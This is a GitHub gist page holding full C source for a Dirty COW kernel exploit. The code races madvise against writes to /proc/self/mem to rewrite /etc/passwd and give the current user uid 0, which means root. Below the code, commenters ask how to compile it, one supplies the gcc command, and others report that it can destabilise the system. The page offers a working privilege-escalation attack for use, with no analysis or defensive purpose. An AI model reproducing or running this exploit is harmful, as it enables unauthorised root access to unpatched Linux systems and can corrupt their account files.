Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
A dirty cow exploit that automatically finds the current user in passwd and changes it's uid to 0
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <sys/types.h>
#include <pwd.h>
void *map;
int f;
struct stat st;
char *name;
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek(f,(uintptr_t) map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}
int main(int argc,char *argv[])
{
pthread_t pth1,pth2;
name=strdup("/etc/passwd");
f=open(name,O_RDONLY);
fstat(f,&st);
char* towrite=malloc(st.st_size+1);
read(f, towrite, st.st_size);
towrite[st.st_size]=0;
close(f);
char *attackline; char *exploitedline;
struct passwd *attacker=getpwuid(getuid());
asprintf(&attackline,"%s:%s:%d:%d:%s:%s:%s",attacker->pw_name,attacker->pw_passwd,attacker->pw_uid, attacker->pw_gid,attacker->pw_gecos,attacker->pw_dir,attacker->pw_shell);
asprintf(&exploitedline,"%s:%s:0:%d:%s:%s:%s",attacker->pw_name,attacker->pw_passwd, attacker->pw_gid,attacker->pw_gecos,attacker->pw_dir,attacker->pw_shell);
char *endoffile=strstr(towrite,attackline)+strlen(attackline);
char *changelocation=strstr(towrite,attackline);
int oldfilelen=strlen(towrite);
sprintf(changelocation,"%s%s",exploitedline,endoffile);
int linediff=strlen(attackline)-strlen(exploitedline);
int i; for(i=oldfilelen; i>oldfilelen-linediff; i--) towrite[i-1]='\n';
/*
You have to open the file in read only mode.
*/
f=open(name,O_RDONLY);
fstat(f,&st);
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %zx\n\n",(uintptr_t) map);
/*
You have to do it on two threads.
*/
pthread_create(&pth1,NULL,madviseThread,name);
pthread_create(&pth2,NULL,procselfmemThread,towrite);
/*
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}
@nbctcp

This comment has been minimized.

Copy link

commented Oct 24, 2016

How to compile using gcc

@ccallahan

This comment has been minimized.

Copy link

commented Oct 24, 2016

If you don't know how to compile this, you probably shouldn't be using this...

@matiasvillanueva

This comment has been minimized.

Copy link

commented Oct 24, 2016

gcc -pthread dirty_passwd_adjust_cow.c -o dirty_passwd_adjust_cow

@tuxayo

This comment has been minimized.

Copy link

commented Oct 27, 2016

Does it cause system instabilities? see dirtycow/dirtycow.github.io#25

@eziegenbalg

This comment has been minimized.

Copy link

commented Nov 1, 2016

@tuxayo, yep it does.

@cybermob052

This comment has been minimized.

Copy link

commented Jan 16, 2017

how to compile it for x86_64?

@TonyStark

This comment has been minimized.

Copy link

commented Mar 10, 2017

dont have /etc/passwd on my android
what to do?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.